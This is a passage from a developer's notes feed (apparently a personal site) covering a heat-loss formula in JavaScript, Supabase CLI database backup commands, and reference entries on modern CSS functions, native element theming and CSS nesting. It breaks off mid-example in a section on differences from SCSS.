&lt;p&gt;The &lt;code&gt;Σ&lt;/code&gt; says: do &lt;code&gt;U × A × ΔT&lt;/code&gt; for &lt;strong&gt;each&lt;/strong&gt; surface, then add them.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const surfaces = [
  { name: &apos;wall&apos;,   U: 2.1, A: 12 },
  { name: &apos;window&apos;, U: 0.8, A: 3  },
];
const deltaT = 21 - -3; // 24

const qFabric = surfaces.reduce(
  (sum, s) =&amp;gt; sum + s.U * s.A * deltaT,
  0,
);
// wall:   2.1 × 12 × 24 = 604.8 W
// window: 0.8 × 3  × 24 =  57.6 W
// total = 662.4 W
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Ventilation loss — heat carried out by air leaving the room&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Q_vent = 0.33 × ACH × V × ΔT&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0.33&lt;/code&gt; = volumetric heat capacity of air (&lt;code&gt;Wh/m³·K&lt;/code&gt;) — a fixed constant.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ACH&lt;/code&gt; = air changes per hour (a lookup based on room type).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;V&lt;/code&gt; = room volume (&lt;code&gt;m³&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ΔT&lt;/code&gt; = same temperature difference as above.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No &lt;code&gt;Σ&lt;/code&gt; here — it&apos;s a single multiplication, left to right:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const qVent = 0.33 * ach * volume * deltaT;
// e.g. 0.33 × 1.5 × 30 × 24 = 356.4 W
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Total heat the room loses = &lt;code&gt;Q_fabric + Q_vent&lt;/code&gt;. That&apos;s the size of radiator you need.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The trick for any formula&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Name every symbol.&lt;/strong&gt; A formula is a sentence — &lt;code&gt;Q&lt;/code&gt;, &lt;code&gt;U&lt;/code&gt;, &lt;code&gt;A&lt;/code&gt; are just nouns with values.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Subscripts are labels&lt;/strong&gt;, not maths. &lt;code&gt;Q_fabric&lt;/code&gt; and &lt;code&gt;Q_vent&lt;/code&gt; are two different &lt;code&gt;Q&lt;/code&gt;s.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Σ&lt;/code&gt; means loop-and-add.&lt;/strong&gt; Everything inside it happens once per item.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Units tell you the operations.&lt;/strong&gt; If the answer should be watts and you&apos;ve got watts, you did it right.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Work left to right&lt;/strong&gt;, doing brackets &lt;code&gt;( )&lt;/code&gt; first.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once you can read it aloud in plain English, the maths is usually just multiplication.&lt;/p&gt;
</content:encoded><category>maths</category><category>reference</category><author>Zander Martineau</author></item><item><title>Supabase</title><link>https://zander.wtf/notes/supabase/</link><guid isPermaLink="true">https://zander.wtf/notes/supabase/</guid><description>Backup and restore These commands can be used to backup a Supabase PostgreSQL database. They use the supabase CLI tool to connect to your project and dump…</description><pubDate>Thu, 30 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Backup and restore&lt;/h2&gt;
&lt;p&gt;These commands can be used to backup a Supabase PostgreSQL database. They use the &lt;code&gt;supabase&lt;/code&gt; CLI tool to connect to your project and dump the schema, roles, and data into SQL files.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;supabase login

npx supabase link --project-ref {your project ref}

mkdir -p backups

supabase db dump --linked \
  --role-only \
  -f backups/roles.sql

supabase db dump --linked \
  -f backups/schema.sql

supabase db dump --linked \
  --data-only \
  --use-copy \
  -f backups/data.sql
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>postgresql</category><category>database</category><author>Zander Martineau</author></item><item><title>CSS Functions</title><link>https://zander.wtf/notes/css-functions/</link><guid isPermaLink="true">https://zander.wtf/notes/css-functions/</guid><description>A reference of modern CSS functions — the ones worth knowing about beyond the basics like rgb(), calc(), and var(). Colour color-mix() Mix two colours…</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A reference of modern CSS functions — the ones worth knowing about beyond the basics like &lt;code&gt;rgb()&lt;/code&gt;, &lt;code&gt;calc()&lt;/code&gt;, and &lt;code&gt;var()&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Colour&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;color-mix()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Mix two colours together in a given colour space. The percentage controls how much of the second colour is mixed in.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.card {
  /* 50/50 mix */
  background: color-mix(in srgb, royalblue, white);

  /* 25% white into royalblue = a lighter blue */
  background: color-mix(in srgb, royalblue, white 25%);

  /* Mix in oklch for perceptually uniform results */
  background: color-mix(in oklch, #e63946, #457b9d);

  /* Create a semi-transparent version of a colour */
  background: color-mix(in srgb, currentColor, transparent 50%);

  /* Works with custom properties */
  --primary: royalblue;
  background: color-mix(in srgb, var(--primary), black 20%);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;light-dark()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Returns one of two values depending on the user&apos;s colour scheme. Requires &lt;code&gt;color-scheme&lt;/code&gt; to be set.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:root {
  color-scheme: light dark;
}

body {
  background: light-dark(#ffffff, #1a1a1a);
  color: light-dark(#111111, #eeeeee);
}

.card {
  border: 1px solid light-dark(#ddd, #444);
  box-shadow: 0 2px 8px light-dark(rgb(0 0 0 / 0.1), rgb(0 0 0 / 0.4));
}

a {
  color: light-dark(royalblue, cornflowerblue);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;color()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Access wider-gamut colour spaces like Display P3:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.vibrant {
  /* Standard sRGB fallback */
  background: #ff4500;
  /* P3 — more vivid on supported displays */
  background: color(display-p3 1 0.27 0);
}

.subtle {
  background: color(display-p3 0.5 0.8 0.6);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;oklch()&lt;/code&gt; and &lt;code&gt;oklab()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Perceptually uniform colour spaces. Great for generating palettes where lightness and chroma are predictable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:root {
  /* oklch(lightness chroma hue) */
  --blue-50: oklch(0.95 0.05 250);
  --blue-100: oklch(0.9 0.08 250);
  --blue-200: oklch(0.8 0.12 250);
  --blue-500: oklch(0.6 0.2 250);
  --blue-900: oklch(0.3 0.12 250);

  /* Rotate hue to create related colours */
  --primary: oklch(0.6 0.2 250);
  --secondary: oklch(0.6 0.2 310);
  --accent: oklch(0.6 0.2 30);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Relative colour syntax&lt;/h3&gt;
&lt;p&gt;Transform an existing colour by adjusting individual channels:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:root {
  --brand: royalblue;

  /* Make it 20% lighter */
  --brand-light: oklch(from var(--brand) calc(l + 0.2) c h);

  /* Make it 20% darker */
  --brand-dark: oklch(from var(--brand) calc(l - 0.2) c h);

  /* Desaturate */
  --brand-muted: oklch(from var(--brand) l calc(c * 0.5) h);

  /* Set alpha */
  --brand-faded: oklch(from var(--brand) l c h / 0.5);

  /* Shift hue */
  --brand-complement: oklch(from var(--brand) l c calc(h + 180));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Math&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;min()&lt;/code&gt;, &lt;code&gt;max()&lt;/code&gt;, &lt;code&gt;clamp()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Responsive sizing without media queries:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.container {
  /* The smaller of 90vw or 1200px */
  width: min(90vw, 1200px);

  /* At least 300px wide */
  width: max(300px, 50vw);

  /* Fluid with a floor and ceiling */
  width: clamp(300px, 50vw, 1200px);
}

h1 {
  /* Fluid typography */
  font-size: clamp(1.5rem, 1rem + 2vw, 3rem);
}

.card {
  /* Fluid padding */
  padding: clamp(1rem, 3vw, 2.5rem);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;round()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Round a value to the nearest interval:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid-item {
  /* Snap width to nearest 100px */
  width: round(33.3vw, 100px);

  /* Round down */
  width: round(down, 33.3vw, 50px);

  /* Round up */
  width: round(up, 33.3vw, 50px);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;abs()&lt;/code&gt; and &lt;code&gt;sign()&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.element {
  /* Absolute value */
  margin-top: abs(-2rem); /* 2rem */

  /* sign() returns -1, 0, or 1 */
  --direction: sign(-50px); /* -1 */
  transform: translateX(calc(var(--direction) * 100px));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;rem()&lt;/code&gt; and &lt;code&gt;mod()&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.striped {
  /* rem() — remainder with the sign of the dividend */
  --offset: rem(17px, 5px); /* 2px */

  /* mod() — remainder with the sign of the divisor */
  --offset: mod(17px, 5px); /* 2px */
  --offset: mod(-17px, 5px); /* 3px (different from rem) */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Trig functions&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.dial {
  --angle: 45deg;
  --radius: 100px;

  /* Position a point on a circle */
  --x: calc(cos(var(--angle)) * var(--radius));
  --y: calc(sin(var(--angle)) * var(--radius));
  transform: translate(var(--x), var(--y));
}

.element {
  transform: rotate(atan2(100px, 200px));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;pow()&lt;/code&gt;, &lt;code&gt;sqrt()&lt;/code&gt;, &lt;code&gt;log()&lt;/code&gt;, &lt;code&gt;exp()&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;:root {
  /* Type scale using pow() */
  --step-0: 1rem;
  --step-1: calc(1rem * pow(1.25, 1)); /* 1.25rem */
  --step-2: calc(1rem * pow(1.25, 2)); /* 1.5625rem */
  --step-3: calc(1rem * pow(1.25, 3)); /* 1.953rem */

  --hypotenuse: calc(1px * sqrt(pow(3, 2) + pow(4, 2))); /* 5px */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Layout &amp;amp; sizing&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;repeat()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Create repeating grid tracks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.grid {
  /* 3 equal columns */
  grid-template-columns: repeat(3, 1fr);

  /* Auto-fill — as many 200px columns as fit */
  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));

  /* Auto-fit — same but collapses empty tracks */
  grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));

  /* Complex patterns */
  grid-template-columns: repeat(3, 1fr 2fr);
  /* = 1fr 2fr 1fr 2fr 1fr 2fr */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;minmax()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Set a size range for grid tracks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.layout {
  grid-template-columns: minmax(200px, 300px) 1fr;
  grid-template-rows: minmax(100px, auto);

  /* Prevent content blow-out with min() inside minmax() */
  grid-template-columns: repeat(auto-fill, minmax(min(200px, 100%), 1fr));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;fit-content()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Size a track to its content up to a maximum:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.layout {
  grid-template-columns: fit-content(200px) 1fr fit-content(300px);
}

.label {
  width: fit-content(100%);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Selectors &amp;amp; filters&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;:is()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Matches any selector in the list. Takes the specificity of the most specific argument:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Instead of: header a, nav a, footer a */
:is(header, nav, footer) a {
  color: royalblue;
}

/* Deeply nested — great for reducing repetition */
:is(h1, h2, h3, h4) :is(a, span) {
  text-decoration: underline;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;:where()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Same as &lt;code&gt;:is()&lt;/code&gt; but with &lt;strong&gt;zero specificity&lt;/strong&gt; — great for default styles that are easy to override:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Base styles with no specificity baggage */
:where(ul, ol) {
  padding-left: 1.5rem;
}

:where(.card) :where(h2, h3) {
  margin-top: 0;
}

/* Easily overridden with any class */
.my-list {
  padding-left: 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;:has()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The &quot;parent selector&quot; — style an element based on what it contains:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Card that contains an image */
.card:has(img) {
  padding: 0;
}

/* Form group when its input is invalid */
.form-group:has(:invalid) {
  border-color: red;
}

/* Style the parent based on a checked child */
.option:has(input:checked) {
  background: lavender;
}

/* Style a sibling */
h2:has(+ p) {
  margin-bottom: 0.5rem;
}

/* Page-level layout based on sidebar presence */
body:has(.sidebar) .main {
  grid-template-columns: 300px 1fr;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;:not()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Exclude elements matching a selector:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* All links except those with a class */
a:not([class]) {
  text-decoration: underline;
}

/* All children except the last */
li:not(:last-child) {
  border-bottom: 1px solid #eee;
}

/* Combine with :has() */
.card:not(:has(img)) {
  background: #f5f5f5;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Shapes &amp;amp; gradients&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;conic-gradient()&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.pie {
  background: conic-gradient(royalblue 0% 70%, #eee 70% 100%);
  border-radius: 50%;
}

.colour-wheel {
  background: conic-gradient(in oklch, red, yellow, lime, aqua, blue, magenta, red);
  border-radius: 50%;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;linear-gradient()&lt;/code&gt; with interpolation&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.smooth {
  /* Interpolate in oklch for smoother gradients */
  background: linear-gradient(in oklch, royalblue, coral);

  /* Avoid the grey-zone between complementary colours */
  background: linear-gradient(in oklch longer hue, blue, red);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Transform&lt;/h2&gt;
&lt;h3&gt;Individual transform functions&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.element {
  /* These are now individual properties, not just functions */
  translate: 50% -20px;
  rotate: 15deg;
  scale: 1.1;

  /* Still works as functions inside transform */
  transform: rotate3d(1, 1, 0, 45deg) perspective(500px);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Misc&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;env()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Access environment variables like safe area insets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.app-bar {
  padding-top: env(safe-area-inset-top);
  padding-left: env(safe-area-inset-left);
  padding-right: env(safe-area-inset-right);
}

.bottom-nav {
  padding-bottom: env(safe-area-inset-bottom, 1rem); /* fallback */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;attr()&lt;/code&gt; (enhanced)&lt;/h3&gt;
&lt;p&gt;Reference HTML attributes as CSS values (limited support — currently only works in &lt;code&gt;content&lt;/code&gt;, broader support coming):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.tooltip::after {
  content: attr(data-tooltip);
}

/* Future: typed attr() in any property */
/* div { width: attr(data-width px, 100px); } */
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;counter()&lt;/code&gt; and &lt;code&gt;counters()&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;ol {
  counter-reset: section;

  li {
    counter-increment: section;

    &amp;amp;::before {
      content: counter(section) &apos;. &apos;;
      font-weight: bold;
    }
  }
}

/* Nested counters with a separator */
ol ol li::before {
  content: counters(section, &apos;.&apos;) &apos; &apos;;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>CSS Native Element Theming</title><link>https://zander.wtf/notes/css-native-theming/</link><guid isPermaLink="true">https://zander.wtf/notes/css-native-theming/</guid><description>Modern CSS properties for theming native HTML elements — inputs, checkboxes, scrollbars, carets, and more — without reaching for custom components.…</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Modern CSS properties for theming native HTML elements — inputs, checkboxes, scrollbars, carets, and more — without reaching for custom components.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;accent-color&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Tint native form controls (checkboxes, radio buttons, range sliders, progress bars) with a single property. The browser automatically handles contrast for check marks and labels.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;html {
  accent-color: orangered;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Target individual elements:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;input[type=&apos;checkbox&apos;] {
  accent-color: royalblue;
}

input[type=&apos;radio&apos;] {
  accent-color: rebeccapurple;
}

input[type=&apos;range&apos;] {
  accent-color: coral;
}

progress {
  accent-color: mediumseagreen;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pair with &lt;code&gt;color-scheme&lt;/code&gt; to let the browser adapt the control&apos;s background and unchecked state:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;html {
  accent-color: hotpink;
  color-scheme: light dark;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;caret-color&lt;/code&gt; and &lt;code&gt;caret-shape&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Style the text cursor in editable fields.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;input,
textarea,
[contenteditable] {
  caret-color: orangered;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Change the caret shape (support is still limited):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;input {
  /* bar (default) | block | underscore */
  caret-shape: block;
}

/* Shorthand — colour and shape together */
input {
  caret: orangered block;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;transparent&lt;/code&gt; to hide the caret entirely (useful for custom cursor implementations):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.custom-input {
  caret-color: transparent;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Adapt to theme:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:root {
  color-scheme: light dark;
}

input {
  caret-color: light-dark(royalblue, cornflowerblue);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;color-scheme&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Tells the browser which colour schemes your page supports. This affects all native UI: form controls, scrollbars, system colours, and the default page background.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Support both — browser follows OS preference */
:root {
  color-scheme: light dark;
}

/* Force a specific scheme */
:root {
  color-scheme: dark;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apply per-element to create mixed-scheme UIs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;body {
  color-scheme: light dark;
}

/* Force this section to always be dark */
.dark-panel {
  color-scheme: dark;
}

/* Force this widget to always be light */
.light-widget {
  color-scheme: light;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Via HTML for the earliest possible application (before CSS loads):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;color-scheme&quot; content=&quot;light dark&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;light-dark()&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Returns one of two values depending on the active colour scheme. Requires &lt;code&gt;color-scheme&lt;/code&gt; to be set.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:root {
  color-scheme: light dark;
}

body {
  background: light-dark(#ffffff, #1a1a1a);
  color: light-dark(#111, #eee);
}

a {
  color: light-dark(royalblue, cornflowerblue);
}

.card {
  background: light-dark(#f9f9f9, #2a2a2a);
  border: 1px solid light-dark(#ddd, #444);
  box-shadow: 0 2px 8px light-dark(rgb(0 0 0 / 0.08), rgb(0 0 0 / 0.4));
}

hr {
  border-color: light-dark(#eee, #333);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Build a full set of design tokens with &lt;code&gt;light-dark()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:root {
  color-scheme: light dark;

  --text-primary: light-dark(#111, #eee);
  --text-secondary: light-dark(#555, #aaa);
  --bg-page: light-dark(#fff, #111);
  --bg-surface: light-dark(#f5f5f5, #222);
  --bg-elevated: light-dark(#fff, #2a2a2a);
  --border: light-dark(#ddd, #444);
  --accent: light-dark(royalblue, cornflowerblue);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Putting it all together&lt;/h2&gt;
&lt;p&gt;A minimal theme with all native elements styled:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:root {
  color-scheme: light dark;

  --accent: light-dark(royalblue, cornflowerblue);
  --text: light-dark(#111, #eee);
  --surface: light-dark(#fff, #1a1a1a);
  --border: light-dark(#ddd, #444);
}

html {
  accent-color: var(--accent);
  color: var(--text);
  background: var(--surface);
}

input,
textarea,
select {
  caret-color: var(--accent);
  border: 1px solid var(--border);
  background: var(--surface);
  color: var(--text);
}

::selection {
  background: var(--accent);
  color: white;
}

:focus-visible {
  outline: 2px solid var(--accent);
  outline-offset: 2px;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Native CSS Nesting</title><link>https://zander.wtf/notes/css-nesting/</link><guid isPermaLink="true">https://zander.wtf/notes/css-nesting/</guid><description>Native CSS nesting lets you nest selectors inside other selectors without a preprocessor like Sass. It&apos;s supported in all modern browsers. Basic nesting…</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Native CSS nesting lets you nest selectors inside other selectors without a preprocessor like Sass. It&apos;s supported in all modern browsers.&lt;/p&gt;
&lt;h2&gt;Basic nesting&lt;/h2&gt;
&lt;p&gt;Nest child selectors inside a parent rule block:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.card {
  padding: 1rem;
  background: white;

  .title {
    font-size: 1.5rem;
    font-weight: bold;
  }

  .body {
    line-height: 1.6;
    color: #333;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is equivalent to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.card {
  padding: 1rem;
  background: white;
}
.card .title {
  font-size: 1.5rem;
  font-weight: bold;
}
.card .body {
  line-height: 1.6;
  color: #333;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The &lt;code&gt;&amp;amp;&lt;/code&gt; selector&lt;/h2&gt;
&lt;p&gt;Use &lt;code&gt;&amp;amp;&lt;/code&gt; to reference the parent selector. It&apos;s required when you need to attach something directly to the parent (pseudo-classes, pseudo-elements, compound selectors):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.button {
  background: royalblue;
  color: white;

  &amp;amp;:hover {
    background: darkblue;
  }

  &amp;amp;:focus-visible {
    outline: 2px solid currentColor;
    outline-offset: 2px;
  }

  &amp;amp;::after {
    content: &apos; →&apos;;
  }

  &amp;amp;.primary {
    background: rebeccapurple;
  }

  &amp;amp;[disabled] {
    opacity: 0.5;
    cursor: not-allowed;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Deep nesting&lt;/h2&gt;
&lt;p&gt;You can nest multiple levels deep, though keep it reasonable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.nav {
  display: flex;
  gap: 1rem;

  .nav-list {
    list-style: none;
    display: flex;

    .nav-item {
      padding: 0.5rem;

      a {
        text-decoration: none;
        color: inherit;

        &amp;amp;:hover {
          text-decoration: underline;
        }
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nesting media queries and other at-rules&lt;/h2&gt;
&lt;p&gt;At-rules like &lt;code&gt;@media&lt;/code&gt;, &lt;code&gt;@container&lt;/code&gt;, and &lt;code&gt;@supports&lt;/code&gt; can be nested directly inside a rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.sidebar {
  width: 100%;
  padding: 1rem;

  @media (min-width: 768px) {
    width: 300px;
    padding: 2rem;
  }

  @media (min-width: 1200px) {
    width: 400px;
  }

  @container (min-width: 500px) {
    display: grid;
    grid-template-columns: 1fr 1fr;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is equivalent to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.sidebar {
  width: 100%;
  padding: 1rem;
}
@media (min-width: 768px) {
  .sidebar {
    width: 300px;
    padding: 2rem;
  }
}
@media (min-width: 1200px) {
  .sidebar {
    width: 400px;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Combining selectors&lt;/h2&gt;
&lt;p&gt;Nest multiple selectors using selector lists:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.card {
  border: 1px solid #ddd;

  .title,
  .subtitle {
    margin: 0;
    color: #111;
  }

  .title {
    font-size: 1.25rem;
  }

  .subtitle {
    font-size: 0.875rem;
    color: #666;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Using &lt;code&gt;&amp;amp;&lt;/code&gt; to reverse context&lt;/h2&gt;
&lt;p&gt;Place &lt;code&gt;&amp;amp;&lt;/code&gt; on the right side to style an element based on an ancestor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.icon {
  width: 1rem;
  height: 1rem;
  fill: currentColor;

  .button &amp;amp; {
    width: 1.25rem;
    height: 1.25rem;
  }

  .dark-theme &amp;amp; {
    fill: white;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This compiles to &lt;code&gt;.button .icon&lt;/code&gt; and &lt;code&gt;.dark-theme .icon&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Nesting with sibling combinators&lt;/h2&gt;
&lt;p&gt;All combinators work inside nested rules:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.stack {
  display: flex;
  flex-direction: column;

  &amp;gt; * {
    margin: 0;
  }

  &amp;gt; * + * {
    margin-top: 1rem;
  }

  ~ .aside {
    margin-top: 2rem;
  }

  + .footer {
    border-top: 1px solid #eee;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Real-world example: a component&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;.dialog {
  position: fixed;
  inset: 0;
  display: grid;
  place-items: center;
  background: rgb(0 0 0 / 0.5);

  .dialog-content {
    background: white;
    border-radius: 0.5rem;
    padding: 2rem;
    max-width: 500px;
    width: 90%;
    box-shadow: 0 25px 50px -12px rgb(0 0 0 / 0.25);
  }

  .dialog-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 1rem;

    h2 {
      margin: 0;
      font-size: 1.25rem;
    }

    .close-button {
      background: none;
      border: none;
      cursor: pointer;
      padding: 0.25rem;

      &amp;amp;:hover {
        opacity: 0.7;
      }
    }
  }

  .dialog-footer {
    margin-top: 1.5rem;
    display: flex;
    justify-content: flex-end;
    gap: 0.5rem;
  }

  @media (max-width: 640px) {
    .dialog-content {
      width: 100%;
      min-height: 100dvh;
      border-radius: 0;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Differences from SCSS&lt;/h2&gt;
&lt;p&gt;If you&apos;re coming from Sass/SCSS, native CSS nesting will feel familiar but there are some important differences.&lt;/p&gt;
&lt;h3&gt;No string concatenation with &lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;In SCSS, &lt;code&gt;&amp;amp;&lt;/code&gt; is a string you can concatenate to build class names. Native CSS doesn&apos;t support this — &lt;code&gt;&amp;amp;&lt;/code&gt; is a full selector reference.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* ✅ SCSS — works */
.card {
